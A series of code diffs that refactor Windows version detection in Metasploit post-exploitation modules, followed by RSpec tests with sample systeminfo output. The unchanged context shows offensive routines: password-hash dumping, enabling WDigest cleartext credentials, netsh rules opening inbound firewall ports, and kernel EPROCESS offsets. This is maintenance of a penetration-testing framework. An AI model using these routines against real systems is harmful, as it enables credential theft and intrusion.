profile_path_old = sysdriv + '\\Documents and Settings\\'
profile_path_new = sysdriv + '\\Users\\'
version = get_version_info
if location
print_status("Searching #{location}")
getfile = client.fs.file.search(location, file_type, recurse = true, timeout = -1)
getfile = client.fs.file.search(location, file_type, true, -1)
elsif sysnfo =~ /(Windows XP|2003|.NET)/
elsif version.build_number < Msf::WindowsVersion::Vista_SP0
print_status("Searching #{profile_path_old} through windows user profile structure")
getfile = client.fs.file.search(profile_path_old, file_type, recurse = true, timeout = -1)
getfile = client.fs.file.search(profile_path_old, file_type, true, -1)
else
# For systems such as: Windows 7|Windows Vista|2008
print_status("Searching #{profile_path_new} through windows user profile structure")
getfile = client.fs.file.search(profile_path_new, file_type, recurse = true, timeout = -1)
getfile = client.fs.file.search(profile_path_new, file_type, true, -1)
end
getfile.each do |file|

View File

@ -230,14 +230,14 @@ class MetasploitModule < Msf::Post
# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
def run
print_status('Starting to enumerate MUICache registry keys...')
sys_info = sysinfo['OS']
version = get_version_info
if sys_info =~ /Windows XP/ && is_admin?
print_good("Remote system supported: #{sys_info}")
if version.xp_or_2003? && is_admin?
print_good("Remote system supported: #{version.product_name}")
muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache'
hive_file = '\\NTUSER.DAT'
elsif sys_info =~ /Windows 7/ && is_admin?
print_good("Remote system supported: #{sys_info}")
elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin?
print_good("Remote system supported: #{version.product_name}")
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"
hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat'
else

View File

@ -28,7 +28,6 @@ class MetasploitModule < Msf::Post
'Commands' => %w[
stdapi_fs_search
stdapi_sys_config_getenv
stdapi_sys_config_sysinfo
]
}
}
@ -139,10 +138,10 @@ class MetasploitModule < Msf::Post
# http://www.forensicswiki.org/wiki/Prefetch
# http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format
sysnfo = client.sys.config.sysinfo['OS']
error_msg = "You don't have enough privileges. Try getsystem."
if sysnfo =~ /(Windows XP|2003|.NET)/
version = get_version_info
if version.xp_or_2003?
if !is_admin?
print_error(error_msg)
@ -150,7 +149,7 @@ class MetasploitModule < Msf::Post
end
# Offsets for WinXP & Win2k3
print_good("Detected #{sysnfo} (max 128 entries)")
print_good("Detected #{version.product_name} (max 128 entries)")
name_offset = 0x10
hash_offset = 0x4C
runcount_offset = 0x90
@ -158,14 +157,14 @@ class MetasploitModule < Msf::Post
# Registry key for timezone
key_value = 'StandardName'
elsif sysnfo =~ /(Windows 7)/
elsif version.win7_or_2008r2? && !version.windows_server?
if !is_admin?
print_error(error_msg)
return nil
end
# Offsets for Win7
print_good("Detected #{sysnfo} (max 128 entries)")
print_good("Detected #{version.product_name} (max 128 entries)")
name_offset = 0x10
hash_offset = 0x4C
runcount_offset = 0x98

View File

@ -44,9 +44,9 @@ class MetasploitModule < Msf::Post
end
def run
winver = sysinfo['OS']
version = get_version_info
fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/
fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if version.build_number == Msf::WindowsVersion::Win2000
fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
file_path = datastore['FILE_PATH']

View File

@ -46,9 +46,8 @@ class MetasploitModule < Msf::Post
end
def run
winver = sysinfo['OS']
if winver =~ /2000/i
version = get_version_info
if version.build_number == Msf::WindowsVersion::Win2000
print_error('Module not valid for Windows 2000')
return
end
@ -66,7 +65,7 @@ class MetasploitModule < Msf::Post
return
end
print_status("System Info - OS: #{winver}, Drive: #{drive}")
print_status("System Info - OS: #{version.product_name}, Drive: #{drive}")
type = datastore['FILES']
files = type.split(',')
# To extract files from its IDs
@ -106,7 +105,7 @@ class MetasploitModule < Msf::Post
# Recover the content of the file/files requested
def recover_file(offset, handle)
ra = file_system_features(handle)
file_system_features(handle)
# Offset could be in a comma separated list of IDs
0.upto(offset.size - 1) do |i|
val = get_high_low_values(offset[i].to_i)
@ -199,8 +198,8 @@ class MetasploitModule < Msf::Post
log_cluster = datarun[-n_log_cluster..]
offset = datarun[1..n_offset]
log_cluster << "\x00" if (log_cluster.size % 2 != 0)
offset << "\x00" if (offset.size % 2 != 0)
log_cluster << "\x00" if log_cluster.size.odd?
offset << "\x00" if offset.size.odd?
# The logical cluster value could be negative so we need to get the 2 complement in those cases
if log_cluster.size == 2
int_log_cluster = log_cluster.unpack('v*')[0]

View File

@ -76,7 +76,8 @@ class MetasploitModule < Msf::Post
# Uses DC which applied policy since it would be a DC this device normally talks to
cmd = 'gpresult /SCOPE COMPUTER'
# If Vista/2008 or later add /R
if (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Vista_SP0
cmd << ' /R'
end
res = cmd_exec('cmd.exe', "/c #{cmd}")
@ -111,7 +112,7 @@ class MetasploitModule < Msf::Post
begin
# Connect to host and enumerate logged in users
winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil)
rescue ::Exception => e
rescue ::Exception
print_error("Issue enumerating users on #{host}")
return userlist
end

View File

@ -417,16 +417,17 @@ class MetasploitModule < Msf::Post
if !is_uac_enabled? || is_admin?
print_status('Dumping password hashes...')
version = get_version_info
# Check if Running as SYSTEM
if is_system?
# For DC's the registry read method does not work.
if domain_controller
begin
file_local_write(pwdfile, inject_hashdump)
rescue ::Exception => e
rescue ::Exception
print_error('Failed to dump hashes as SYSTEM, trying to migrate to another process')
if sysinfo['OS'] =~ /Windows (2008|2012)/i
if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server?
move_to_sys
file_local_write(pwdfile, inject_hashdump)
else
@ -452,7 +453,7 @@ class MetasploitModule < Msf::Post
results = session.priv.getsystem
if results[0]
print_good('Got SYSTEM privilege')
if session.sys.config.sysinfo['OS'] =~ /Windows (2008|2012)/i
if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server?
# Migrate process since on Windows 2008 R2 getsystem
# does not set certain privilege tokens required to
# inject and dump the hashes.
@ -466,7 +467,7 @@ class MetasploitModule < Msf::Post
print_error('Could not get NTDS hashes!')
end
end
elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i
elsif version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81)
if migrate_system
print_status('Trying to get SYSTEM privilege')
results = session.priv.getsystem

View File

@ -62,39 +62,38 @@ class MetasploitModule < Msf::Post
end
def get_eproc_offsets
sysinfo_value = sysinfo['OS']
unless sysinfo_value =~ /Windows/
print_status("Target is not Windows. Found #{sysinfo_value}")
unless session.platform == 'windows'
print_status("Target is not Windows. Found #{session.platform}")
return nil
end
build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i
vprint_status("Windows Build Number = #{build_num}")
version = get_version_info
vprint_status("Windows Build Number = #{version.build_number}")
# UniqueProcessIdOffset, ActiveProcessLinksOffset, SignatureLevelOffset
offsets = {
10240 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold
10586 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update
14393 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update
15063 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update
16299 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update
17134 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update
17763 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update
18362 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update
18363 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update
19041 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update
19042 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update
19043 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update
19044 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update
22000 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021
Msf::WindowsVersion::Win10_1507 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold
Msf::WindowsVersion::Win10_1511 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update
Msf::WindowsVersion::Win10_1607 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update
Msf::WindowsVersion::Win10_1703 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update
Msf::WindowsVersion::Win10_1709 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update
Msf::WindowsVersion::Win10_1803 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update
Msf::WindowsVersion::Win10_1809 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update
Msf::WindowsVersion::Win10_1903 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update
Msf::WindowsVersion::Win10_1909 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update
Msf::WindowsVersion::Win10_2004 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update
Msf::WindowsVersion::Win10_20H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update
Msf::WindowsVersion::Win10_21H1 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update
Msf::WindowsVersion::Win10_21H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update
Msf::WindowsVersion::Win11_21H2 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021
}
unless offsets.key?(build_num)
print_status("Unknown offsets for Windows build #{build_num}")
unless offsets.key?(version.build_number)
print_status("Unknown offsets for Windows build #{version.build_number}")
return nil
end
return offsets[build_num]
return offsets[version.build_number]
end
def run
@ -104,7 +103,7 @@ class MetasploitModule < Msf::Post
offsets = get_eproc_offsets
if offsets.nil?
fail_with(Failure::NoTarget, 'Unsupported targeted')
fail_with(Failure::NoTarget, 'Unsupported target')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86

View File

@ -62,13 +62,13 @@ class MetasploitModule < Msf::Post
end
end
wver = sysinfo['OS']
if wver !~ /Windows XP|Windows .NET|Windows 2003/
print_error("#{wver} is not supported")
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::Server2003_SP2)
print_error("#{version.product_name} is not supported")
return
end
print_status("Target OS is #{wver}")
print_status("Target OS is #{version.product_name}")
names_key = registry_enumkeys(reg_key + '\\Names')
unless names_key
print_error("Couldn't access registry keys")

View File

@ -43,7 +43,8 @@ class MetasploitModule < Msf::Post
# Due to a bug in Windows XP you need to install IPv6
# http://support.microsoft.com/kb/555744/en-us
if sysinfo['OS'] =~ (/XP/) && !check_ipv6
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP2) && !check_ipv6
return
end
@ -113,7 +114,8 @@ class MetasploitModule < Msf::Post
def fw_enable_ports
print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
if sysinfo['OS'] =~ /Windows 7|Vista|2008|2012/
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Vista_SP0
cmd_exec('netsh', "advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
else
cmd_exec('netsh', "firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")

View File

@ -42,7 +42,8 @@ class MetasploitModule < Msf::Post
end
def run
disable_network_wizard if sysinfo['OS'] =~ /Windows 7|Vista|2008/
version = get_version_info
disable_network_wizard if version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win7_SP1)
pbk = create_pbk(datastore['MITM'], datastore['PBK_NAME'])
to = (datastore['TIMEOUT'] <= 0) ? 60 : datastore['TIMEOUT']
@ -77,7 +78,7 @@ class MetasploitModule < Msf::Post
def create_pbk(mim, pbk_name)
pbk_dir = expand_path('%TEMP%')
pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha((rand(6..13))) << '.pbk'
pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha(rand(6..13)) << '.pbk'
conf_conn = "[#{pbk_name}]\r\n\r\n"
conf_conn += "MEDIA=rastapi\r\n"

View File

@ -122,8 +122,8 @@ class MetasploitModule < Msf::Post
end
# Checks the Windows Version.
wver = sysinfo['OS']
print_status("Target OS: #{wver}")
version = get_version_info
print_status("Target OS: #{version.product_name}")
# Load the usernames from SAM Registry key
names_key = registry_enumkeys(reg_key + '\\Names')

View File

@ -5,9 +5,10 @@
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Version
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
USE_LOGON_CREDENTIAL = 'UseLogonCredential'
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'.freeze
USE_LOGON_CREDENTIAL = 'UseLogonCredential'.freeze
def initialize(info = {})
super(
@ -38,7 +39,8 @@ class MetasploitModule < Msf::Post
print_status("Running module against #{sysinfo['Computer']}")
# Check if OS is 8/2012 or newer. If not, no need to set the registry key
# Can be backported to Windows 7, 2k8R2 but defaults to enabled...
if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i
version = get_version_info
if version.build_number < Msf::WindowsVersion::Win7_SP0
print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')
else
datastore['ENABLE'] ? wdigest_enable : wdigest_disable

View File

@ -161,8 +161,9 @@ class MetasploitModule < Msf::Post
return
end
if sysinfo['OS'] =~ /XP/
print_error('Windows XP is not supported')
version = get_version_info
if version.xp_or_2003?
print_error('Windows XP/Server 2003 is not supported')
return
end

View File

@ -1,7 +1,6 @@
require 'spec_helper'
RSpec.describe Msf::Post::Windows::TaskScheduler do
let(:task_name) { Rex::Text.rand_text_alpha(rand(8)) }
let(:datastore) do
{
@ -145,14 +144,13 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'on older Windows' do
it 'executes the expected command to query a task' do
subject.instance_variable_set(:@old_os, true)
cmd = "schtasks /query /v /fo csv"
cmd = 'schtasks /query /v /fo csv'
expect(subject).to receive(:schtasks_exec).with(cmd, with_result: true)
subject.task_query(task_name)
end
end
end
#
# Private methods
#
@ -160,7 +158,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
describe '#check_compatibility' do
context 'with Windows XP SP2' do
before :example do
allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows XP (5.1 Build 2600, Service Pack 2)." } )
allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 1, 2600, 2, Msf::WindowsVersion::VER_NT_WORKSTATION))
end
it 'sets `@old_schtasks` and `@old_os` to true' do
subject.send(:check_compatibility)
@ -171,7 +169,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'with Windows Server 2003 SP2' do
before :example do
allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows .NET Server (5.2 Build 3790, Service Pack 2)." } )
allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 2, 3790, 2, Msf::WindowsVersion::VER_NT_SERVER))
end
it 'sets `@old_schtasks` to false and `@old_os` to true' do
subject.send(:check_compatibility)
@ -182,7 +180,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'with Windows Server 2016' do
before :example do
allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows 2016+ (10.0 Build 14393)." } )
allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(10, 0, 14393, 0, Msf::WindowsVersion::VER_NT_SERVER))
end
it 'sets `@old_schtasks` and `@old_os` to false' do
subject.send(:check_compatibility)
@ -195,7 +193,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
describe '#log_and_print' do
let(:msg) { double('log message') }
before :example do
mock_methods = [ :vprint_status, :vprint_good, :vprint_error, :dlog, :ilog, :wlog, :elog ]
mock_methods = %i[vprint_status vprint_good vprint_error dlog ilog wlog elog]
mock_methods.each { |meth| allow(subject).to receive(meth) }
end
@ -249,7 +247,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
it 'returns the expected command string' do
cmd_in = %w[/test /flag1 value1]
cmd_out = "schtasks #{cmd_in.join(' ')}"
expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out)
expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out)
end
end
@ -264,7 +262,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
it 'returns the expected command string' do
cmd_in = %w[/test /flag1 value1]
cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd"
expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out)
expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out)
end
end
@ -279,12 +277,11 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
it 'returns the expected command string' do
cmd_in = %w[/test /flag1 value1]
cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd"
expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)). to eq(cmd_out)
expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)).to eq(cmd_out)
end
end
end
describe '#schtasks_exec' do
let(:result) { [ Rex::Text.rand_text_alpha(rand(8)), true ] }
let(:cmd) { double('Command') }
@ -371,7 +368,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
describe '#task_info_field' do
let(:task_name) { 'fzuZbSwfXc' }
let(:task_info) {
let(:task_info) do
info = '"HostName","TaskName","Next Run Time","Status","Logon Mode","Last Run Time","Last Result","Author",'\
'"Task To Run","Start In","Comment","Scheduled Task State","Idle Time","Power Management","Run As User",'\
'"Delete Task If Not Rescheduled","Stop Task If Runs X Hours and X Mins","Schedule","Schedule Type",'\
@ -384,7 +381,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
'Batteries","SYSTEM","Disabled","72:00:00","Scheduling data is not available in this format.","One Time '\
'Only","12:00:00 AM","5/10/2020","N/A","N/A","N/A","Disabled","Disabled","Disabled","Disabled"'
info
}
end
let(:key) { 'Task To Run' }
let(:result) { 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DGvtFiFtnZQVmtY" /v "SD"' }
@ -566,7 +563,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'when the `ScheduleRemoteSystem` datastore option is set' do
before :example do
datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } )
datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' })
end
it 'executes the expected command' do
@ -581,7 +578,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'when the `:remote_system` hash option is passed as argument' do
it 'executes the expected command' do
expect(subject).to receive(:run_one_off_task).with(cmd, check_success: true)
subject.send(:reg_key_value_exists?, reg_key, reg_value, {remote_system: '1.2.3.4'})
subject.send(:reg_key_value_exists?, reg_key, reg_value, { remote_system: '1.2.3.4' })
end
end
end
@ -645,7 +642,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'when the `ScheduleRemoteSystem` datastore option is set' do
it 'executes the expected command' do
datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } )
datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' })
expect(subject).to receive(:run_one_off_task).with(cmd)
subject.send(:delete_reg_key_value, reg_key, reg_value)
end
@ -654,7 +651,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'when the `:remote_system` hash option is passed as argument' do
it 'executes the expected command' do
expect(subject).to receive(:run_one_off_task).with(cmd)
subject.send(:delete_reg_key_value, reg_key, reg_value, {remote_system: '1.2.3.4'})
subject.send(:delete_reg_key_value, reg_key, reg_value, { remote_system: '1.2.3.4' })
end
end
end
@ -697,14 +694,14 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'when the :override option is set to false' do
it 'does not override it' do
expect(subject).to_not receive(:cmd_exec_with_result)
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: false})
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: false })
end
end
context 'when the :override option is set to true' do
it 'overrides it' do
expect(subject).to receive(:cmd_exec_with_result).and_return(['', true])
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: true})
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: true })
end
end
end
@ -738,7 +735,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'when the `ScheduleRemoteSystem` datastore option is set' do
it 'executes the expected command' do
datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } )
datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' })
expect(subject).to receive(:run_one_off_task).with(cmd)
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type)
end
@ -747,10 +744,9 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
context 'when the `:remote_system` hash option is passed as argument' do
it 'executes the expected command' do
expect(subject).to receive(:run_one_off_task).with(cmd)
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {remote_system: '1.2.3.4'})
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { remote_system: '1.2.3.4' })
end
end
end
end
end

View File

@ -0,0 +1,415 @@
# -*- coding: binary -*-
require 'spec_helper'
RSpec.describe Msf::Post::Windows::Version do
subject do
context_described_class = described_class
klass = Class.new(Msf::Post) do
include context_described_class
end
klass.new
end
let(:xp_sp2_systeminfo) do
'Host Name: SMASH-72A287D2F
OS Name: Microsoft Windows XP Professional
OS Version: 5.1.2600 Service Pack 2 Build 2600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Uniprocessor Free
Registered Owner: smash
Registered Organization:
Product ID: 76487-011-3892913-22389
Original Install Date: 12/6/2022, 2:27:30 PM
System Up Time: 0 Days, 0 Hours, 51 Minutes, 12 Seconds
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2208 Mhz
BIOS Version: INTEL - 6040000
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney
Total Physical Memory: 511 MB
Available Physical Memory: 338 MB
Virtual Memory: Max Size: 2,048 MB
Virtual Memory: Available: 2,006 MB
Virtual Memory: In Use: 42 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\\\SMASH-72A287D2F
Hotfix(s): 3 Hotfix(s) Installed.
[01]: File 1
[02]: Q147222
[03]: KB911164 - Update
NetWork Card(s): 1 NIC(s) Installed.
[01]: VMware Accelerated AMD PCNet Adapter
Connection Name: Local Area Connection
DHCP Enabled: Yes
DHCP Server: 192.168.73.254
IP address(es)
[01]: 192.168.73.147'
end
let(:server2003_sp1_systeminfo) do
'Host Name: SMASH-P7NPUUMTB
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 1 Build 3790
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Uniprocessor Free
Registered Owner: smash
Registered Organization:
Product ID: 69712-012-0000545-42062
Original Install Date: 12/7/2022, 12:43:01 PM
System Up Time: N/A
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2207 Mhz
BIOS Version: INTEL - 6040000
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney
Total Physical Memory: 383 MB
Available Physical Memory: 229 MB
Page File: Max Size: 932 MB
Page File: Available: 799 MB
Page File: In Use: 133 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\\\SMASH-P7NPUUMTB
Hotfix(s): 1 Hotfix(s) Installed.
[01]: Q147222
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: Yes
DHCP Server: 192.168.73.254
IP address(es)
[01]: 192.168.73.148'
end
let(:server2008_sp2_systeminfo) do
'Host Name: WIN2008DC
OS Name: Microsoftr Windows Serverr 2008 Standard
OS Version: 6.0.6002 Service Pack 2 Build 6002
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 92573-082-2500115-76258
Original Install Date: 7/7/2022, 9:49:59 AM
System Boot Time: 11/29/2022, 9:44:06 AM
System Manufacturer: QEMU
System Model: Standard PC (i440FX + PIIX, 1996)
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,833 MB
Page File: Max Size: 8,363 MB
Page File: Available: 7,083 MB
Page File: In Use: 1,280 MB
Page File Location(s): C:\pagefile.sys
Domain: pod7.local
Logon Server: \\WIN2008DC
Hotfix(s): 1 Hotfix(s) Installed.
[01]: KB955430
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: Yes
DHCP Server: 192.168.20.1
IP address(es)
[01]: 192.168.20.99
[02]: fe80::4d31:5b50:425a:4df0'
end
let(:win10_systeminfo) do
'Host Name: WIN10BASE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: smash
Registered Organization:
Product ID: 00331-20300-00000-AA252
Original Install Date: 10/05/2021, 5:43:57 PM
System Boot Time: 2/12/2022, 5:02:02 PM
System Manufacturer: QEMU
System Model: Standard PC (i440FX + PIIX, 1996)
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
[02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney
Total Physical Memory: 10,239 MB
Available Physical Memory: 5,545 MB
Virtual Memory: Max Size: 11,839 MB
Virtual Memory: Available: 6,416 MB
Virtual Memory: In Use: 5,423 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\\\WIN10BASE
Hotfix(s): 17 Hotfix(s) Installed.
[01]: KB5020613
[02]: KB4562830
[03]: KB4577586
[04]: KB4580325
[05]: KB5000736
[06]: KB5012170
[07]: KB5015684
[08]: KB5019959
[09]: KB5011352
[10]: KB5011651
[11]: KB5014032
[12]: KB5014035
[13]: KB5014671
[14]: KB5015895
[15]: KB5016705
[16]: KB5018506
[17]: KB5005699
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 192.168.20.1
IP address(es)
[01]: 192.168.20.230
[02]: fe80::47ee:641f:d05d:34f6
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.'
end
let(:server2022_systeminfo) do
'Host Name: twenty22
OS Name: Microsoft Windows Server 2022 Datacenter Azure Edition
OS Version: 10.0.20348 N/A Build 20348
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: N/A
Registered Organization: N/A
Product ID: 00446-90000-00000-AA477
Original Install Date: 12/2/2022, 5:01:55 AM
System Boot Time: 12/2/2022, 5:02:20 AM
System Manufacturer: Microsoft Corporation
System Model: Virtual Machine
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2095 Mhz
BIOS Version: Microsoft Corporation Hyper-V UEFI Release v4.1, 5/10/2022
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume3
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC) Coordinated Universal Time
Total Physical Memory: 4,095 MB
Available Physical Memory: 1,753 MB
Virtual Memory: Max Size: 5,119 MB
Virtual Memory: Available: 2,794 MB
Virtual Memory: In Use: 2,325 MB
